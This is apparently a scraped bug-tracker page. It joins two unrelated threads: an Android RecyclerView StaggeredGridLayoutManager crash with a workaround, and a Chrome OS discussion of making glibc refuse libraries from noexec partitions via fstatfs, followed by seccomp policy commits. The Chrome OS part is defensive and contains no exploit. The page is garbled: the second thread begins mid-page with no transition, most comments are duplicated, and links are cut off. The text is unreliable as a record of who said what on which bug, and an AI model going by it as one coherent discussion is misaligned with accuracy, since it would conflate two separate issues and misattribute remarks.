Fixed
Status Update
Comments
[Deleted User] <[Deleted User]> #2
Same thing happens on version 21.0.3 of the mentioned libraries.
[Deleted User] <[Deleted User]> #3
any way to reproduce would be helpful. Also, do you have full span items ?
aa...@google.com <aa...@google.com> #4
any way to reproduce would be helpful. Also, do you have full span items ?
ra...@chromium.org <ra...@chromium.org> #5
Yes, I have.
The item clicked is spanned across all (3) columns. It has some visible views and one hidden view.
The items that are inserted below it are not spanned across all columns.
On click the clicked item (spanned across all columns) is changed so that the hidden child view is set to View.VISIBLE in onBind and notifyItemChanged is called for it.
After that new items are inserted below (those are not full span items) and notifyItemInserted is called for each of them.
For sake of clarity lets call the above scenario action A.
The inserted items are CardViews with one child that has a constant height.
I cannot promise I will manage to extract some sample app from my project.
It does not seem that the state of the backing list has anything to do with that since it can be thrown or not depending on the position to which the recycler view is scrolled to before proceeding with the actions described above.
I do not know if that is important but the non-full span item are populated with Picasso (but they have constant height).
before
_________________________top of the recycler view
|full____span_______item|first not expanded full span item
|full____span_______item|second not expanded full span item
| |
| |
| |
| |
| |
| |
_________________________bottom of the recycler view
after clicking first full span item
_________________________top of the recycler view
|full____span_______item|first expanded
|previously_hidden__part| full span item
|no_span|no_span|no_span|three non-full span items
|no_span|no_span|no_span|three non-full span items
|no_span|no_span|no_span|three non-full span items
|no_span|no_span|no_span|three non-full span items
|full____span_______item|second not expanded full span item
| |
| |
| |
_________________________bottom of the recycler view
after clicking both full span items.
_________________________top of the recycler view
|full____span_______item|first expanded
|previously_hidden__part| full span item
|no_span|no_span|no_span|three non-full span items
|no_span|no_span|no_span|three non-full span items
|no_span|no_span|no_span|three non-full span items
|no_span|no_span|no_span|three non-full span items
|full____span_______item|second expanded
|previously_hidden__part| full span item
|no_span|no_span|no_span|three non-full span items
|no_span|no_span|no_span|three non-full span items (some of the non-full span items are not fitting on the screen)
_________________________bottom of the recycler view
I think that the fact that the full span item is being redrawn with different height has something to do with that.
Because of that there is less space for other items and maybe that causes the trouble.
What I noticed (it is kind of weird behavior):
If after action A on the second expanded item the first row of non-full span items is not visible (it is below the bottom of the recycler view) - the exception is not thrown.
If after action A on the second expanded item the first row of non-full span items is fully visible so that the bottom of the first row is close to the bottom of the recycler view - the exception is not thrown.
If after action A on the second expanded item the first row of non-full span items is partially visible - the exception is thrown.
I understand it is nothing like a scenario that would allow reproduction, but this is what I can provide at the moment.
The item clicked is spanned across all (3) columns. It has some visible views and one hidden view.
The items that are inserted below it are not spanned across all columns.
On click the clicked item (spanned across all columns) is changed so that the hidden child view is set to View.VISIBLE in onBind and notifyItemChanged is called for it.
After that new items are inserted below (those are not full span items) and notifyItemInserted is called for each of them.
For sake of clarity lets call the above scenario action A.
The inserted items are CardViews with one child that has a constant height.
I cannot promise I will manage to extract some sample app from my project.
It does not seem that the state of the backing list has anything to do with that since it can be thrown or not depending on the position to which the recycler view is scrolled to before proceeding with the actions described above.
I do not know if that is important but the non-full span item are populated with Picasso (but they have constant height).
before
_________________________top of the recycler view
|full____span_______item|first not expanded full span item
|full____span_______item|second not expanded full span item
| |
| |
| |
| |
| |
| |
_________________________bottom of the recycler view
after clicking first full span item
_________________________top of the recycler view
|full____span_______item|first expanded
|previously_hidden__part| full span item
|no_span|no_span|no_span|three non-full span items
|no_span|no_span|no_span|three non-full span items
|no_span|no_span|no_span|three non-full span items
|no_span|no_span|no_span|three non-full span items
|full____span_______item|second not expanded full span item
| |
| |
| |
_________________________bottom of the recycler view
after clicking both full span items.
_________________________top of the recycler view
|full____span_______item|first expanded
|previously_hidden__part| full span item
|no_span|no_span|no_span|three non-full span items
|no_span|no_span|no_span|three non-full span items
|no_span|no_span|no_span|three non-full span items
|no_span|no_span|no_span|three non-full span items
|full____span_______item|second expanded
|previously_hidden__part| full span item
|no_span|no_span|no_span|three non-full span items
|no_span|no_span|no_span|three non-full span items (some of the non-full span items are not fitting on the screen)
_________________________bottom of the recycler view
I think that the fact that the full span item is being redrawn with different height has something to do with that.
Because of that there is less space for other items and maybe that causes the trouble.
What I noticed (it is kind of weird behavior):
If after action A on the second expanded item the first row of non-full span items is not visible (it is below the bottom of the recycler view) - the exception is not thrown.
If after action A on the second expanded item the first row of non-full span items is fully visible so that the bottom of the first row is close to the bottom of the recycler view - the exception is not thrown.
If after action A on the second expanded item the first row of non-full span items is partially visible - the exception is thrown.
I understand it is nothing like a scenario that would allow reproduction, but this is what I can provide at the moment.
aa...@google.com <aa...@google.com> #6
The fact that the full span item is being redrawn with different height has nothing to do with that. I have removed that part and it is still happening.
aa...@google.com <aa...@google.com> #7
[Comment deleted]
ja...@google.com <ja...@google.com> #8
It seems that you are onto it.
What I did is set the spanCount to 1 and then tested two cases (with and without setting setFullSpan(true) to the LayoutParams of the clickable item).
So the UI looked the same in both cases but the exception is only thrown when the setFullSpan is called for the clickable item from the description above.
What I did is set the spanCount to 1 and then tested two cases (with and without setting setFullSpan(true) to the LayoutParams of the clickable item).
So the UI looked the same in both cases but the exception is only thrown when the setFullSpan is called for the clickable item from the description above.
ja...@google.com <ja...@google.com> #9
I have achieved what I wanted by moving to GridLayoutManager.
So instaed of StaggeredGridLayoutManager and following code
StaggeredGridLayoutManager.LayoutParams layoutParams = (StaggeredGridLayoutManager.LayoutParams) viewHolder.itemView.getLayoutParams();
layoutParams.setFullSpan(true);
in onBindViewHolder for the item that I want to span across all columns.
I use GridLayoutManager like this.
int spanCount = 3;
GridLayoutManager gridLayoutManager = new GridLayoutManager(getActivity(), spanCount );
GridLayoutManager.SpanSizeLookup spanSizeLookup = new GridLayoutManager.SpanSizeLookup() {
@Override
public int getSpanSize(int position) {
if (recyclerAdapter.getItemViewType(position) == VIEW_TYPE_SPANNING_ACROSS_ALL_COLUMNS) {
return spanCount;
} else {
return 1;
}
}
};
gridLayoutManager.setSpanSizeLookup(spanSizeLookup);
It looks like everything works as expected - we'll see.
Of course that does not fix the problem with StaggeredGridLayoutManager.
So instaed of StaggeredGridLayoutManager and following code
StaggeredGridLayoutManager.LayoutParams layoutParams = (StaggeredGridLayoutManager.LayoutParams) viewHolder.itemView.getLayoutParams();
layoutParams.setFullSpan(true);
in onBindViewHolder for the item that I want to span across all columns.
I use GridLayoutManager like this.
int spanCount = 3;
GridLayoutManager gridLayoutManager = new GridLayoutManager(getActivity(), spanCount );
GridLayoutManager.SpanSizeLookup spanSizeLookup = new GridLayoutManager.SpanSizeLookup() {
@Override
public int getSpanSize(int position) {
if (recyclerAdapter.getItemViewType(position) == VIEW_TYPE_SPANNING_ACROSS_ALL_COLUMNS) {
return spanCount;
} else {
return 1;
}
}
};
gridLayoutManager.setSpanSizeLookup(spanSizeLookup);
It looks like everything works as expected - we'll see.
Of course that does not fix the problem with StaggeredGridLayoutManager.
[Deleted User] <[Deleted User]> #10
[Comment deleted]
aa...@google.com <aa...@google.com> #11
This also happens in 25.3.1. In the StaggeredGridLayoutManager # LazySpanLookup # invalidateAfter (int position) method, endPosition is sometimes equal to mData.length, causing Arrays.fill (mData, position, endPosition + 1, LayoutParams.INVALID_SPAN_ID ) ArrayIndexOutOfBoundsException error occurs.
/**
* returns end position for invalidation.
*/
int invalidateAfter(int position) {
if (mData == null) {
return RecyclerView.NO_POSITION;
}
if (position >= mData.length) {
return RecyclerView.NO_POSITION;
}
int endPosition = invalidateFullSpansAfter(position);
if (endPosition == RecyclerView.NO_POSITION) {
Arrays.fill(mData, position, mData.length, LayoutParams.INVALID_SPAN_ID);
return mData.length;
} else {
// just invalidate items in between
// if endPosition == mData.length, throw ArrayIndexOutOfBoundsException
Arrays.fill(mData, position, endPosition + 1, LayoutParams.INVALID_SPAN_ID);
return endPosition + 1;
}
}
/**
* returns end position for invalidation.
*/
int invalidateAfter(int position) {
if (mData == null) {
return RecyclerView.NO_POSITION;
}
if (position >= mData.length) {
return RecyclerView.NO_POSITION;
}
int endPosition = invalidateFullSpansAfter(position);
if (endPosition == RecyclerView.NO_POSITION) {
Arrays.fill(mData, position, mData.length, LayoutParams.INVALID_SPAN_ID);
return mData.length;
} else {
// just invalidate items in between
// if endPosition == mData.length, throw ArrayIndexOutOfBoundsException
Arrays.fill(mData, position, endPosition + 1, LayoutParams.INVALID_SPAN_ID);
return endPosition + 1;
}
}
ja...@google.com <ja...@google.com> #12
I can see this consistently crashing after an insert in cases where the index of next full span which needs to be invalidated is equal to the size of mData before mData was updated.
This can happen because mData is only resized after invalidation, but full span item indexes have already been shifted after the insert.
I've managed to isolate a repro for this, which you can find in the attached zip. I can upload the raw files if you prefer
This can happen because mData is only resized after invalidation, but full span item indexes have already been shifted after the insert.
I've managed to isolate a repro for this, which you can find in the attached zip. I can upload the raw files if you prefer
aa...@google.com <aa...@google.com> #13
I do agree with that generally. But I was trying to limit the scope here to what's left uncovered by our existing portfolio of protections. An attacker supplied ELF from an exec partition on Chrome OS would be from the integrity-checked system image presumably not overtly malicious.
I do like your fstatfs idea for a medium term solution. IIUC there's a precedent of something similar in our bash.
Jorge - WDYT?
I do like your fstatfs idea for a medium term solution. IIUC there's a precedent of something similar in our bash.
Jorge - WDYT?
jo...@chromium.org <jo...@chromium.org> #14
So, IIUC Jann's point is that loading an attacker-supplied ELF library, even from a noexec partition, is preeety much game over, correct? Because if not https://crbug.com/chromium/1182687#c12 applies: ELF libraries from verified partitions are not in our threat model.
If this is indeed the case, I would certainly support adding a small patch to glibc that performs the fstatfs check -- this is indeed what we do for bash and other interpreters.
If this is indeed the case, I would certainly support adding a small patch to glibc that performs the fstatfs check -- this is indeed what we do for bash and other interpreters.
aa...@google.com <aa...@google.com> #15
llozano@ - is this something that the toolchain team could evaluate and address for us? i.e have glibc's loader verify that any shared library it's been asked to load comes from an exec partition - irrespective of flags on individual segments.
ll...@google.com <ll...@google.com> #16
[Empty comment from Monorail migration]
ma...@chromium.org <ma...@chromium.org> #17
glibc patch to do fstatfs check is an interesting idea. I assume it needs to work for any shared library including those explicitly opened by dlopen or LD_PRELOAD.
We'll need to investigate how much work is needed to add such a check.
We'll need to investigate how much work is needed to add such a check.
ma...@chromium.org <ma...@chromium.org> #18
aashay@ jorgelo@ can you please let us know what are the expected timelines for this? IIUC, there are no known current exploits and this is to stop future exploits.
We are currently occupied with updating glibc so we'd prefer to take this up once we are done with the upgrade probably after March end. This will also require to look into glibc internals thoroughly and currently we do not have anyone in our team with good glibc internals experience.
We are currently occupied with updating glibc so we'd prefer to take this up once we are done with the upgrade probably after March end. This will also require to look into glibc internals thoroughly and currently we do not have anyone in our team with good glibc internals experience.
jo...@chromium.org <jo...@chromium.org> #19
I'd say it might be good to get to this during Q2? Since this represents a verified boot bypass, we don't want to let it linger for too long.
(It'd be either a P1 or a P0 according tohttps://chromium.googlesource.com/chromiumos/docs/+/master/security_severity_guidelines.md depending on how thorough the verified boot bypass using this bug is.)
(It'd be either a P1 or a P0 according to
ja...@google.com <ja...@google.com> #20
I'm curious: How is this a verified boot bypass? Is there are mechanism through which a process would, by design, try to load a library from a location which an attacker could replace with a different file, or a symlink to a noexec filesystem, or something like that?
It seems to me like this only bypasses a last-ditch mitigation which is only relevant when things have already gone horribly wrong.
It seems to me like this only bypasses a last-ditch mitigation which is only relevant when things have already gone horribly wrong.
jo...@chromium.org <jo...@chromium.org> #21
Given:
1-VRP reports that we've received during 2020, and
2-Just the sheer amount of code going into the product.
I don't know that today I can 100% say that there is a. no code in Chrome OS that can be tricked into loading a library from an arbitrary location or b. no FS- or bind-mount-related weaknesses that would allow such a process to be tricked to load a library from an attacker-controlled location.
1-VRP reports that we've received during 2020, and
2-Just the sheer amount of code going into the product.
I don't know that today I can 100% say that there is a. no code in Chrome OS that can be tricked into loading a library from an arbitrary location or b. no FS- or bind-mount-related weaknesses that would allow such a process to be tricked to load a library from an attacker-controlled location.
aa...@google.com <aa...@google.com> #22
manojgupta@ - assigning this to you tentatively. Please let us know if Q2 is feasible.
[Deleted User] <[Deleted User]> #23
manojgupta: Uh oh! This issue still open and hasn't been updated in the last 14 days. This is a serious vulnerability, and we want to ensure that there's progress. Could you please leave an update with the current status and any potential blockers?
If you're not the right owner for this issue, could you please remove yourself as soon as possible or help us find the right one?
If the issue is fixed or you can't reproduce it, please close the bug. If you've started working on a fix, please set the status to Started.
Thanks for your time! To disable nags, add the Disable-Nags label.
For more details visithttps://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
If you're not the right owner for this issue, could you please remove yourself as soon as possible or help us find the right one?
If the issue is fixed or you can't reproduce it, please close the bug. If you've started working on a fix, please set the status to Started.
Thanks for your time! To disable nags, add the Disable-Nags label.
For more details visit
ma...@chromium.org <ma...@chromium.org> #24
[Empty comment from Monorail migration]
ma...@chromium.org <ma...@chromium.org> #25
[Empty comment from Monorail migration]
[Deleted User] <[Deleted User]> #26
[Empty comment from Monorail migration]
[Deleted User] <[Deleted User]> #27
We commit ourselves to a 60 day deadline for fixing for high severity vulnerabilities, and have exceeded it here. If you're unable to look into this soon, could you please find another owner or remove yourself so that this gets back into the security triage queue?
For more details visithttps://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
For more details visit
ma...@google.com <ma...@google.com> #28
[Empty comment from Monorail migration]
aj...@google.com <aj...@google.com> #29
[Empty comment from Monorail migration]
ma...@chromium.org <ma...@chromium.org> #30
[Empty comment from Monorail migration]
ma...@chromium.org <ma...@chromium.org> #31
Jordan,
here are the step to deploy your custom glibc. This is using a x86_64 device.
1. Create you patch based on upstream glibc, lets call the patch file glibc-nonexec.patch .
2. Copy the patch file to src/third_party/chromiumos-overlay/sys-libs/glibc/files/local/glibc-2.32/
3. sudo emerge cross-x86_64-cros-linux-gnu/glibc (save the stdout log)
4. Verify from log that glibc-nonexec.patch was applied.
5. lease a x86_64 device from lab e.g. eve/atlas/nami etc. and flash a newish image on it (atleast R92).
cros flash --clobber-stateful --disable-rootfs-verification <dut> 'xbuddy://remote/<board>-release/R92-13962.0.0'
6. Copy /usr/x86_64-cros-linux-gnu/lib64/libc-2.32.so to the device /usr/local/tmp e.g. using scp.
7. Replace the device's /lib64/libc-2.32.so file with the one from /usr/local/tmp.
8. reboot the device
9. Test that the mitigation is working e.g. can't dlopen a library file from /tmp.
here are the step to deploy your custom glibc. This is using a x86_64 device.
1. Create you patch based on upstream glibc, lets call the patch file glibc-nonexec.patch .
2. Copy the patch file to src/third_party/chromiumos-overlay/sys-libs/glibc/files/local/glibc-2.32/
3. sudo emerge cross-x86_64-cros-linux-gnu/glibc (save the stdout log)
4. Verify from log that glibc-nonexec.patch was applied.
5. lease a x86_64 device from lab e.g. eve/atlas/nami etc. and flash a newish image on it (atleast R92).
cros flash --clobber-stateful --disable-rootfs-verification <dut> 'xbuddy://remote/<board>-release/R92-13962.0.0'
6. Copy /usr/x86_64-cros-linux-gnu/lib64/
7. Replace the device's /lib64/
8. reboot the device
9. Test that the mitigation is working e.g. can't dlopen a library file from /tmp.
ma...@chromium.org <ma...@chromium.org> #32
Correction: Copy the ld-2.32.so to the device as well in addition to libc-2.32.so
gi...@appspot.gserviceaccount.com <gi...@appspot.gserviceaccount.com> #33
The following revision refers to this bug:
https://chromium.googlesource.com/chromiumos/overlays/chromiumos-overlay/+/3a2406a3322e4b667faff6584c44a71315ec6591
commit 3a2406a3322e4b667faff6584c44a71315ec6591
Author: Jordan R Abrahams <ajordanr@google.com>
Date: Tue May 25 22:55:28 2021
arc-sslh-init: Allow statfs syscall
At present, sslh is not allowed to conduct the statfs syscall.
However, due to a planned change to glibc's dl-load, sslh will
need to be able to stat dynamically loaded files.
BUG=chromium:1182687
TEST=Ran on local volteer build and on crosfleet instances
Change-Id: I0faa2131ccba1afc487a54fd1ca0f5c928e6fa0f
Reviewed-on:https://chromium-review.googlesource.com/c/chromiumos/overlays/chromiumos-overlay/+/2917487
Reviewed-by: Manoj Gupta <manojgupta@chromium.org>
Tested-by: Manoj Gupta <manojgupta@chromium.org>
Commit-Queue: Manoj Gupta <manojgupta@chromium.org>
[rename]https://crrev.com/3a2406a3322e4b667faff6584c44a71315ec6591/chromeos-base/arc-sslh-init/arc-sslh-init-0.0.1-r18.ebuild
[modify]https://crrev.com/3a2406a3322e4b667faff6584c44a71315ec6591/chromeos-base/arc-sslh-init/files/sslh-seccomp-amd64.policy
[modify]https://crrev.com/3a2406a3322e4b667faff6584c44a71315ec6591/chromeos-base/arc-sslh-init/files/sslh-seccomp-arm.policy
[modify]https://crrev.com/3a2406a3322e4b667faff6584c44a71315ec6591/chromeos-base/arc-sslh-init/files/sslh-seccomp-arm64.policy
commit 3a2406a3322e4b667faff6584c44a71315ec6591
Author: Jordan R Abrahams <ajordanr@google.com>
Date: Tue May 25 22:55:28 2021
arc-sslh-init: Allow statfs syscall
At present, sslh is not allowed to conduct the statfs syscall.
However, due to a planned change to glibc's dl-load, sslh will
need to be able to stat dynamically loaded files.
BUG=chromium:1182687
TEST=Ran on local volteer build and on crosfleet instances
Change-Id: I0faa2131ccba1afc487a54fd1ca0f5c928e6fa0f
Reviewed-on:
Reviewed-by: Manoj Gupta <manojgupta@chromium.org>
Tested-by: Manoj Gupta <manojgupta@chromium.org>
Commit-Queue: Manoj Gupta <manojgupta@chromium.org>
[rename]
[modify]
[modify]
[modify]
ja...@google.com <ja...@google.com> #34
I'm a bit surprised that the commit message mentions statfs, not fstatfs. Wouldn't it be more reliable to first open()/openat() the library as normal, then fstatfs() it, to ensure that the "struct statfs" actually refers to the same file that you're parsing as a library?
aj...@google.com <aj...@google.com> #35
That's a good point, and something I did consider and originally tried out. That should also work fine, so I'll swap to that, with some reasoning below.
The current proposed change only modifies the the `elf/dl-load.c` file's `open_verify` subroutine, right before the file descriptor is actually set. There's no harm in swapping it to fstatfs either; both should work fine for this particular bug. The choice for statfs over fstatfs was to ensure that a valid file descriptor was set iff the shared library lay within an executable partition--my concern was that we would be getting a valid descriptor in the first place. The idea was that we could stop opening entirely and that would be preferred to catch all points where it's parsed.
However, now that you mention it, it would be a little better to use fstatfs as you can pass in an external file descriptor to `open_verify`, which would get around the `statfs` check. This isn't done anywhere in glibc currently as far as I can tell, but I could imagine a future world where that may be the case.
The current proposed change only modifies the the `elf/dl-load.c` file's `open_verify` subroutine, right before the file descriptor is actually set. There's no harm in swapping it to fstatfs either; both should work fine for this particular bug. The choice for statfs over fstatfs was to ensure that a valid file descriptor was set iff the shared library lay within an executable partition--my concern was that we would be getting a valid descriptor in the first place. The idea was that we could stop opening entirely and that would be preferred to catch all points where it's parsed.
However, now that you mention it, it would be a little better to use fstatfs as you can pass in an external file descriptor to `open_verify`, which would get around the `statfs` check. This isn't done anywhere in glibc currently as far as I can tell, but I could imagine a future world where that may be the case.
ja...@google.com <ja...@google.com> #36
What I'm thinking of are scenarios involving symlink races - if someone e.g. manages to control a path passed to dlopen(), or something like that, they could try to change the meaning of the path between statfs() and open().
gi...@appspot.gserviceaccount.com <gi...@appspot.gserviceaccount.com> #37
The following revision refers to this bug:
https://chromium.googlesource.com/chromiumos/overlays/chromiumos-overlay/+/28634ec161f2855ae763fd5877699ad5f29501fe
commit 28634ec161f2855ae763fd5877699ad5f29501fe
Author: Jordan R Abrahams <ajordanr@google.com>
Date: Tue May 25 22:55:28 2021
arc-sslh-init: Allow fstatfs syscall
At present, sslh is not allowed to conduct the fstatfs syscall.
However, due to a planned change to glibc's dl-load, sslh will
need to be able to stat dynamically loaded files.
Previously, we were trying to use statfs, however it was pointed
out that fstatfs would make the implementation simpler and more
robust to symlink swapping.
BUG=chromium:1182687
TEST=Ran on local volteer build and on crosfleet instances
Disallow-Recycled-Builds: test-failures
Change-Id: If0fb3b6b85416980f39201f170d8bf9ffe7607a6
Reviewed-on:https://chromium-review.googlesource.com/c/chromiumos/overlays/chromiumos-overlay/+/2928244
Commit-Queue: Jordan R Abrahams <ajordanr@google.com>
Tested-by: Jordan R Abrahams <ajordanr@google.com>
Reviewed-by: Allen Webb <allenwebb@google.com>
[rename]https://crrev.com/28634ec161f2855ae763fd5877699ad5f29501fe/chromeos-base/arc-sslh-init/arc-sslh-init-0.0.1-r19.ebuild
[modify]https://crrev.com/28634ec161f2855ae763fd5877699ad5f29501fe/chromeos-base/arc-sslh-init/files/sslh-seccomp-amd64.policy
[modify]https://crrev.com/28634ec161f2855ae763fd5877699ad5f29501fe/chromeos-base/arc-sslh-init/files/sslh-seccomp-arm.policy
[modify]https://crrev.com/28634ec161f2855ae763fd5877699ad5f29501fe/chromeos-base/arc-sslh-init/files/sslh-seccomp-arm64.policy
commit 28634ec161f2855ae763fd5877699ad5f29501fe
Author: Jordan R Abrahams <ajordanr@google.com>
Date: Tue May 25 22:55:28 2021
arc-sslh-init: Allow fstatfs syscall
At present, sslh is not allowed to conduct the fstatfs syscall.
However, due to a planned change to glibc's dl-load, sslh will
need to be able to stat dynamically loaded files.
Previously, we were trying to use statfs, however it was pointed
out that fstatfs would make the implementation simpler and more
robust to symlink swapping.
BUG=chromium:1182687
TEST=Ran on local volteer build and on crosfleet instances
Disallow-Recycled-Builds: test-failures
Change-Id: If0fb3b6b85416980f39201f170d8bf9ffe7607a6
Reviewed-on:
Commit-Queue: Jordan R Abrahams <ajordanr@google.com>
Tested-by: Jordan R Abrahams <ajordanr@google.com>
Reviewed-by: Allen Webb <allenwebb@google.com>
[rename]
[modify]
[modify]
[modify]
gi...@appspot.gserviceaccount.com <gi...@appspot.gserviceaccount.com> #38
The following revision refers to this bug:
https://chromium.googlesource.com/chromiumos/overlays/chromiumos-overlay/+/aa209871d2984eb7c3e0caf3aa5ebbf875759636
commit aa209871d2984eb7c3e0caf3aa5ebbf875759636
Author: Jordan R Abrahams <ajordanr@google.com>
Date: Tue Jun 01 20:55:06 2021
conntrack-tools: Add fstatfs to SECCOMP
At present, conntrackd is not allowed to conduct the statfs syscall.
However, due to a planned change to glibc's dl-load, conntrackd will
need to be able to stat dynamically loaded files.
BUG=chromium:1182687
TEST=Ran on local volteer build and on crosfleet instances
Disallow-Recycled-Builds: test-failures
Change-Id: Id3f87557b7b14f03b8fac2fe525d107895189a6f
Reviewed-on:https://chromium-review.googlesource.com/c/chromiumos/overlays/chromiumos-overlay/+/2928241
Tested-by: Jordan R Abrahams <ajordanr@google.com>
Reviewed-by: Luis Lozano <llozano@chromium.org>
Reviewed-by: Allen Webb <allenwebb@google.com>
Commit-Queue: Jordan R Abrahams <ajordanr@google.com>
[rename]https://crrev.com/aa209871d2984eb7c3e0caf3aa5ebbf875759636/net-firewall/conntrack-tools/conntrack-tools-1.4.4-r17.ebuild
[modify]https://crrev.com/aa209871d2984eb7c3e0caf3aa5ebbf875759636/net-firewall/conntrack-tools/files/conntrackd-seccomp-amd64.policy
[modify]https://crrev.com/aa209871d2984eb7c3e0caf3aa5ebbf875759636/net-firewall/conntrack-tools/files/conntrackd-seccomp-arm.policy
[modify]https://crrev.com/aa209871d2984eb7c3e0caf3aa5ebbf875759636/net-firewall/conntrack-tools/files/conntrackd-seccomp-arm64.policy
[modify]https://crrev.com/aa209871d2984eb7c3e0caf3aa5ebbf875759636/net-firewall/conntrack-tools/files/conntrackd-seccomp-x86.policy
commit aa209871d2984eb7c3e0caf3aa5ebbf875759636
Author: Jordan R Abrahams <ajordanr@google.com>
Date: Tue Jun 01 20:55:06 2021
conntrack-tools: Add fstatfs to SECCOMP
At present, conntrackd is not allowed to conduct the statfs syscall.
However, due to a planned change to glibc's dl-load, conntrackd will
need to be able to stat dynamically loaded files.
BUG=chromium:1182687
TEST=Ran on local volteer build and on crosfleet instances
Disallow-Recycled-Builds: test-failures
Change-Id: Id3f87557b7b14f03b8fac2fe525d107895189a6f
Reviewed-on:
Tested-by: Jordan R Abrahams <ajordanr@google.com>
Reviewed-by: Luis Lozano <llozano@chromium.org>
Reviewed-by: Allen Webb <allenwebb@google.com>
Commit-Queue: Jordan R Abrahams <ajordanr@google.com>
[rename]
[modify]
[modify]
[modify]
[modify]
gi...@appspot.gserviceaccount.com <gi...@appspot.gserviceaccount.com> #39
The following revision refers to this bug:
https://chromium.googlesource.com/chromiumos/overlays/chromiumos-overlay/+/8ac39906e67d6424976d299274fdb143a2848860
commit 8ac39906e67d6424976d299274fdb143a2848860
Author: Jordan R Abrahams <ajordanr@google.com>
Date: Tue Jun 01 20:59:51 2021
modemmanager-next: Add fstatfs to SECCOMP
At present, modemmanager is not able to use the fstatfs (or equivalent
32bit) syscalls. This is will be required with an expected glibc
security patch, which affects all packages which conduct dynamic
loading.
BUG=chromium:1182687
TEST=Ran on local volteer build and on crosfleet instances
Disallow-Recycled-Builds: test-failures
Change-Id: I14dd29ed7902e7654cb02a9a55ad06b52ec6fa98
Reviewed-on:https://chromium-review.googlesource.com/c/chromiumos/overlays/chromiumos-overlay/+/2928242
Tested-by: Jordan R Abrahams <ajordanr@google.com>
Commit-Queue: Jordan R Abrahams <ajordanr@google.com>
Reviewed-by: Allen Webb <allenwebb@google.com>
[modify]https://crrev.com/8ac39906e67d6424976d299274fdb143a2848860/net-misc/modemmanager-next/files/modemmanager-amd64.policy
[modify]https://crrev.com/8ac39906e67d6424976d299274fdb143a2848860/net-misc/modemmanager-next/files/modemmanager-arm.policy
[modify]https://crrev.com/8ac39906e67d6424976d299274fdb143a2848860/net-misc/modemmanager-next/files/modemmanager-arm64.policy
[rename]https://crrev.com/8ac39906e67d6424976d299274fdb143a2848860/net-misc/modemmanager-next/modemmanager-next-1.17.0-r414.ebuild
commit 8ac39906e67d6424976d299274fdb143a2848860
Author: Jordan R Abrahams <ajordanr@google.com>
Date: Tue Jun 01 20:59:51 2021
modemmanager-next: Add fstatfs to SECCOMP
At present, modemmanager is not able to use the fstatfs (or equivalent
32bit) syscalls. This is will be required with an expected glibc
security patch, which affects all packages which conduct dynamic
loading.
BUG=chromium:1182687
TEST=Ran on local volteer build and on crosfleet instances
Disallow-Recycled-Builds: test-failures
Change-Id: I14dd29ed7902e7654cb02a9a55ad06b52ec6fa98
Reviewed-on:
Tested-by: Jordan R Abrahams <ajordanr@google.com>
Commit-Queue: Jordan R Abrahams <ajordanr@google.com>
Reviewed-by: Allen Webb <allenwebb@google.com>
[modify]
[modify]
[modify]
[rename]
gi...@appspot.gserviceaccount.com <gi...@appspot.gserviceaccount.com> #40
gi...@appspot.gserviceaccount.com <gi...@appspot.gserviceaccount.com> #41
The following revision refers to this bug:
https://chromium.googlesource.com/chromiumos/overlays/chromiumos-overlay/+/39a3c98e52580dd8212c09febd9549918d5b37c3
commit 39a3c98e52580dd8212c09febd9549918d5b37c3
Author: Jordan R Abrahams <ajordanr@google.com>
Date: Fri Jun 18 00:27:59 2021
cups: Add fstatfs to seccomp
At present, cups uses glibc to dynamically load
shared libraries. A change in glibc will force all systems which
load shared libraries to call the fstatfs or fstatfs64 syscall.
This change was determined to be necessary from the
chromeos_test_platfrom tryjobs from the CQ.
BUG=chromium:1182687
TEST=CQ of chromium:2910526
Change-Id: I45f4aa902dae19fede52e9099179e69a685cac02
Reviewed-on:https://chromium-review.googlesource.com/c/chromiumos/overlays/chromiumos-overlay/+/2970755
Commit-Queue: Jordan R Abrahams <ajordanr@google.com>
Tested-by: Jordan R Abrahams <ajordanr@google.com>
Reviewed-by: Mike Frysinger <vapier@chromium.org>
[modify]https://crrev.com/39a3c98e52580dd8212c09febd9549918d5b37c3/net-print/cups/files/cupstestppd-seccomp-amd64.policy
[modify]https://crrev.com/39a3c98e52580dd8212c09febd9549918d5b37c3/net-print/cups/files/cupstestppd-seccomp-arm.policy
[modify]https://crrev.com/39a3c98e52580dd8212c09febd9549918d5b37c3/net-print/cups/files/cupstestppd-seccomp-arm64.policy
[modify]https://crrev.com/39a3c98e52580dd8212c09febd9549918d5b37c3/net-print/cups/files/cupstestppd-seccomp-x86.policy
commit 39a3c98e52580dd8212c09febd9549918d5b37c3
Author: Jordan R Abrahams <ajordanr@google.com>
Date: Fri Jun 18 00:27:59 2021
cups: Add fstatfs to seccomp
At present, cups uses glibc to dynamically load
shared libraries. A change in glibc will force all systems which
load shared libraries to call the fstatfs or fstatfs64 syscall.
This change was determined to be necessary from the
chromeos_test_platfrom tryjobs from the CQ.
BUG=chromium:1182687
TEST=CQ of chromium:2910526
Change-Id: I45f4aa902dae19fede52e9099179e69a685cac02
Reviewed-on:
Commit-Queue: Jordan R Abrahams <ajordanr@google.com>
Tested-by: Jordan R Abrahams <ajordanr@google.com>
Reviewed-by: Mike Frysinger <vapier@chromium.org>
[modify]
[modify]
[modify]
[modify]
gi...@appspot.gserviceaccount.com <gi...@appspot.gserviceaccount.com> #42
The following revision refers to this bug:
https://chromium.googlesource.com/chromiumos/platform2/+/6f9011123f3656c45bb34148673aa110a22326b3
commit 6f9011123f3656c45bb34148673aa110a22326b3
Author: Jordan R Abrahams <ajordanr@google.com>
Date: Fri Jun 11 22:17:55 2021
seccomp: Mass fstatfs change for glibc patch
At present, all of these libraries use glibc to dynamically load
shared libraries. A change in glibc will force all systems which
load shared libraries to call the fstatfs or fstatfs64 syscall.
This list of packages was autogenerated from a local audit.log
volteer (x86_64), so not all seccomp files may be updated correctly
yet.
BUG=chromium:1182687
TEST=CQ of chromium:2910526
Exempt-From-Owner-Approval: Large scale semi-automated change
Change-Id: Ic29a502ddf322bacdc55e1d2dab629d843bed676
Reviewed-on:https://chromium-review.googlesource.com/c/chromiumos/platform2/+/2956616
Commit-Queue: Jordan R Abrahams <ajordanr@google.com>
Tested-by: Jordan R Abrahams <ajordanr@google.com>
Auto-Submit: Jordan R Abrahams <ajordanr@google.com>
Reviewed-by: Jorge Lucangeli Obes <jorgelo@chromium.org>
[modify]https://crrev.com/6f9011123f3656c45bb34148673aa110a22326b3/arc/container/appfuse/seccomp/arc-appfuse-provider-seccomp-amd64.policy
